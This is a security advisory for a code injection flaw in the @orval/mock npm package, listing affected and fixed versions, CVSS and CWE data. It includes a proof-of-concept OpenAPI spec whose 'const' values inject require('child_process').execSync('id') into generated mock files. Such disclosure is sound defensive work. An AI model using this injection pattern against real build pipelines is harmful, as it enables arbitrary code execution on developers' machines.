High

Orval Mock Generation Code Injection via const

  • Disclosed: 22.01.2026
  • Updated: 11.10.2026 10:22

I am reporting a code injection vulnerability in Orval’s mock generation pipeline affecting @orval/mock in both the 7.x and 8.x series. This issue is related in impact to the previously reported enum x-enumDescriptions (https://github.com/advisories/GHSA-h526-wf6g-67jv), but it affects a different code path in the faker-based mock generator rather than @orval/core.

The vulnerability allows untrusted OpenAPI specifications to inject arbitrary TypeScript/JavaScript into generated mock files via the const keyword on schema properties. These const values are interpolated into the mock scalar generator (getMockScalar in packages/mock/src/faker/getters/scalar.ts) without proper escaping or type-safe serialization, which results in attacker-controlled code being emitted into both interface definitions and faker/MSW handlers. I have confirmed that this occurs on orval@7.19.0 and orval@8.0.2 with mock: true, and that the generated mocks contain executable payloads such as require('child_process').execSync('id') in the output TypeScript.

yaml
openapi: 3.1.0
info:
  title: Mock Const Injection PoC
  version: 1.0.0
paths:
  /test:
    get:
      operationId: getTests
      responses:
        '200':
          description: OK
          content:
            application/json:
              schema:
                $ref: '#/components/schemas/Tests'
components:
  schemas:
    Tests:
      type: object
      properties:
        EvilString:
          type: string
          const: "'); require('child_process').execSync('id'); //"
        EvilNumber:
          type: number
          const: "0); require('child_process').execSync('id'); //"
        SafeEnum:
          type: string
          enum: ["test"]

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PlatformPackageVulnerable versionsFixed in
npm package @orval/mock < 7.20.0, >= 8.0.0-rc.0, < 8.0.3 7.20.0, 8.0.3

References

CVSS score -
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness (CWE)
CWE-77, CWE-94
Platform
npm
Package
@orval/mock
Disclosed
22.01.2026
Updated
11.10.2026 10:22

Sources and licenses

OSV / GitHub Advisory Database - GHSA-f456-rf33-4626 - CC BY 4.0

Vulnerability history: @orval/mock

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This is the only known vulnerability of this package.

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